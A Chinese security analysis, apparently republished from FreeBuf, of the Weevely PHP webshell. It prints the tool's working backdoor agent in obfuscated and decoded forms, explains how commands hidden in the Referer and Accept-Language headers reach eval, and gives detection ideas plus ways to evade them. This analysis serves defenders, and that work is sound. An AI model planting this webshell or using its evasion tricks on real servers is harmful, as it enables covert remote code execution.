Weevely命令传输分析

前言

Weevely是一款使用python编写的webshell工具,集webshell生成和连接于一身,可以算作是linux下的一款菜刀替代工具(限于php)。Weevely类似于菜刀,一个厚客户端,与一个轻服务端,由客户端生成要执行的代码,传递到服务端执行。与菜刀不同的是Weevely只提供命令行终端,同时自己生成服务端文件。文件的混淆与执行代码的传递更复杂于菜刀。下面将对这两方面进行分析。

混淆与解码

<?php $A='@.low@.@.er"@.@.@.;$i=$m[1][0@.].$m[1][1]@.;$h=$sl($s@.s(md5(@.@.$i.$kh),0,3));$f=@.$sl@.($ss(md@.5($i.$kf),0@.,'; $j='@.3));$p@.="";for($@.z=1;$z@.<count($m[@.@.1]);@.$@.z++)$p@..=$q[$m[2][$z]];if(@.strpos@.($p,$h@.)@.===0){$s[$i'; $U='([\\d]))?@.,?/@.",@.$ra@.,$m);if($@.q&&$m){@.@s@.ession_start(@.);$s=&$@._SESSI@.ON;$ss=@."substr@.";$s@.l="strto'; $Z='$@.kh@.="2123";$kf="2@.f29"@.;function@. x($t,$k)@.{$c=@.@.strlen($@.@.k);$l=st@.rlen(@.$t);$o="";for($@.i=0;$i@.'; $p='@.r@.r=@$r["HTT@.P_REFERE@.R"];$ra=@$r@.["HTTP_@.@.ACCEPT_LANGUA@.GE"];@.if@.($rr&&$ra@.@.){$u=parse@._url(@.@.'; $o='@.]@.="";$@.p=$s@.s($@.p,3);}i@.f@.(array@._key_e@.@.xists($i@.,$s)){$s[$i].=$p;$e=strpo@.s($s[$i@.]@.,$f);if($@'; $g='_/"@.,"@./-/"),array@.("/@.","+@."),$ss@.($s@.[$i],0,$e))),$k)))@.;@.$o=ob_@.g@.et_contents@.();ob@._end@._clean'; $V='();@.@.$d=base6@.4@._encode(x(gzcompr@.@.es@.s($o),$k));print("@.<$k>$d<@./$k>"@.);@@.session_d@.est@.roy();}}}}'; $n='@.$rr);par@.s@.e_str($u["query"],@.$q);$q=array_va@.lues($@.q);@.preg@._match_all@.("/([\\w@.@.])[\\w-@.]+(?:;q=0@..'; $q='<$l;){fo@.r($j=0;(@.$j<@.$c&&$i@.<$l);@.@.$j++,$i++@.){$o.=$t{$@.i}^@.$k{$j@.};}}r@.eturn $o;}$r=$@._@.@.SERVER;$'; $X=str_replace('UL','','cULreaULte_ULfULunULctULion'); $u='.e)@.{$k=$kh.@.$kf;ob@._s@.tart();@ev@.al(@gzu@.ncompres@.s(@x(@@.base@.64_dec@.ode@.(pre@.g@._replace(arra@.y("/'; $R=str_replace('@.','',$Z.$q.$p.$n.$U.$A.$j.$o.$u.$g.$V); $c=$X('',$R);$c(); ?>

Weevely将服务端代码分散放入单字符的变量中,同时夹杂着大量无用字符(@. ,随机字符)以绕过一些关键词的匹配。将分散的代码按顺序拼接,再使用str_replace去掉无用字符,最后由create_function创建匿名函数,执行。

<?php $kh="2123"; //MD5(admin) > 21232f297a57a5a743894a0e4a801fc3 $kf="2f29"; function x($t,$k) { $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i<$l;) { for($j=0;($j<$c&&$i<$l);$j++,$i++) { $o.=$t{$i}^$k{$j}; } } return $o; } $r=$_SERVER; $rr=@$r["HTTP_REFERER"]; $ra=@$r["HTTP_ACCEPT_LANGUAGE"]; if($rr&&$ra) { $u=parse_url($rr); parse_str($u["query"],$q); $q=array_values($q); preg_match_all("/([\\w])[\\w-]+(?:;q=0.([\\d]))?,?/",$ra,$m); if($q&&$m) { @session_start(); $s=&$_SESSION; $ss="substr"; $sl="strtolower"; $i=$m[1][0].$m[1][1]; $h=$sl($ss(md5($i.$kh),0,3)); $f=$sl($ss(md5($i.$kf),0,3)); $p=""; for($z=1;$z<count($m[1]);$z++) $p.=$q[$m[2][$z]]; if(strpos($p,$h)===0) { $s[$i]=""; $p=$ss($p,3); } if(array_key_exists($i,$s)) { $s[$i].=$p; $e=strpos($s[$i],$f); if($e) { $k=$kh.$kf; ob_start(); @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k))); $o=ob_get_contents(); ob_end_clean(); $d=base64_encode(x(gzcompress($o),$k)); print("<$k>$d</$k>"); @session_destroy(); } } } } ?>

代码传递

不同于菜刀,Weevely单次的命令会发送多个HTTP请求,将要执行的代码进行分散传递。下面将结合Weevely Agent源码与数据包报文进行代码传递分析。Weevely将Agent的密码进行MD5加密,取md5值的前4位存储到变量$kh中,取前4至8位存储到变量$kf中,用于后续的异或运算及标识字符生成。Weevely主要通过HTTP请求报文的Accept-Language,Referer字段分散传递加密后的执行代码,存储到PHP全局变量$_SESSION中。传输完成后,取出存储的字符串进行一些字符替换,再进行base64解码,再与Agent密码的MD5值的前几位进行异或运算,最后进行解压带入到 eval中执行。返回执行结果,最后销毁当前会话,等待下一次的代码传递。

使用parse_url,array_values将Referer字段中URL的参数值作为数组,正则匹配(/([\w])[\w-]+(?:;q=0.([\d]))?,?/)Accept-Language字段,取出yn作为$_SESSION name,q=0.4的4保存到新数组中。由该数组的值控制,取出URL参数数组的值(Referer[4] > ed9Sq0_-XNsshkiMfKcRiwJvecEuk0gDRw)存储到$p。

$_SESSION[‘yn’’] > Sq0_-XNsshkiMfKcRiwJvecEuk0gDRw取$_SESSION name(yn)与Agent密码md5值的前4位字符($kh)拼接做md5运算,取前3位作为头部标识符(ed9), $_SESSION name(yn)与Agent密码md5值的前4至8位字符( $kf)拼接做md5运算,取前3位作为尾部标识符(d21)。判断$p是否含有头部标识符,去掉头部标识符存储到name 为yn的$_SESSION中。若没有出现尾部标识符,返回此次会话SID,继续等待下一次数据传递。下次发送HTTP请求将带上上次返回PHPSESSID,进行同样的数据处理。

$_SESSION[‘yn’’] > Sq0_-XNsshkiMfKcRiwJvecEuk0gDRwQq_ucGs9Ynfqu5wqhcKM4pUY0V3m393lpJP8ph3WTFCbzgSrlL-8QJLYYYEX

$_SESSION[‘yn’’] > Sq0_-XNsshkiMfKcRiwJvecEuk0gDRwQq_ucGs9Ynfqu5wqhcKM4pUY0V3m393lpJP8ph3WTFCbzgSrlL-8QJLYYYEXT9GEKzAnRELeBXODIiIcsKRsvewd21若出现结尾标识符,去掉结尾标识符及后面字符,将_替换为/,-替换为+变为base64编码格式,进行base64编码解码,再进行异或运算,最后解压带入 eval中执行,返回执行结果,销毁当前会话。

总结

这种多连接,分散传输的方式能有效避开安全防护设备的检测。目前大部分的安全设备基本上都是基于单个连接去识别检测,在上下文联系能力欠缺。针对Weevely默认代码,可对HTTP Accept-Language字段进行检测,识别Weevely连接。但很容易通过修改源码进行绕过,将控制数组放置到其他HTTP字段中。例如,User-Agent字段:系统版本、浏览器版本;Cookie字段模拟正常的访问数据。

Github:https://github.com/epinna/weevely3

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2017-04-04

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏深度学习计算机视觉

java多线程通信方式

1、同步 通过synchronized关键字这种方式来实现线程间的通信。 (学Linux的时候学过共享内存通信,在C中通过全局变量也行,虽然java木有) ...

39250
来自专栏北京马哥教育

Linux自动化运维工具之ansible(二)

糖豆贴心提醒,本文阅读时间8分钟 YAML简介 YAML是一个可读性高的用来表达资料序列的格式。 YAML参考了其他多种语言,包括:XML、C语言、Pytho...

28560
来自专栏Kevin-ZhangCG

[ Java面试题 ]并发篇

13920
来自专栏LanceToBigData

struts2(四)之输入校验

前言   这个本来是昨天就写好的,但是不知道为什么没有保存成功!但是今天起来再写一遍就当巩固一下知识吧。 一、输入校验概述   在以前我们写一个登录页面时,并没...

24480
来自专栏向治洪

struts2实现ajax校验的2种方法

共同的一点是,Action都需要将一个方法暴露出来,给前端javascript调用  javascript的代码都是一样的:  Js代码  functi...

21390
来自专栏Core Net

ASP.NET Core 2.0 : 七.一张图看透启动背后的秘密

20820
来自专栏公众号_薛勤的博客

MongoDB非关系型数据库开发手册

NoSQL,指的是非关系型的数据库。NoSQL有时也称作Not Only SQL的缩写,是对不同于传统的关系型数据库的数据库管理系统的统称。

21320
来自专栏CaiRui

Shell-2-命令之乐

1.cat (1)基本用法 [root@cai tmp]# cat 1.txt 2.txt this is a test1 this is a test 2...

23650
来自专栏前端侠2.0

asp。net5的依赖注入 原

昨天读asp.net5的doc,看到了configure的配置时,提到在controller中访问配置就是通过依赖注入的。asp.net5的很多功能都通过依赖注...

11110
来自专栏醒者呆

Debug EOS:nodeos + mongo_db_plugin

nodeos开始运行前,要先使用项目的总CmakeList.txt配置,这里我配置了boost库的位置,如果你配置了boost的环境变量可以跳过这里。

44210

扫码关注云+社区

领取腾讯云代金券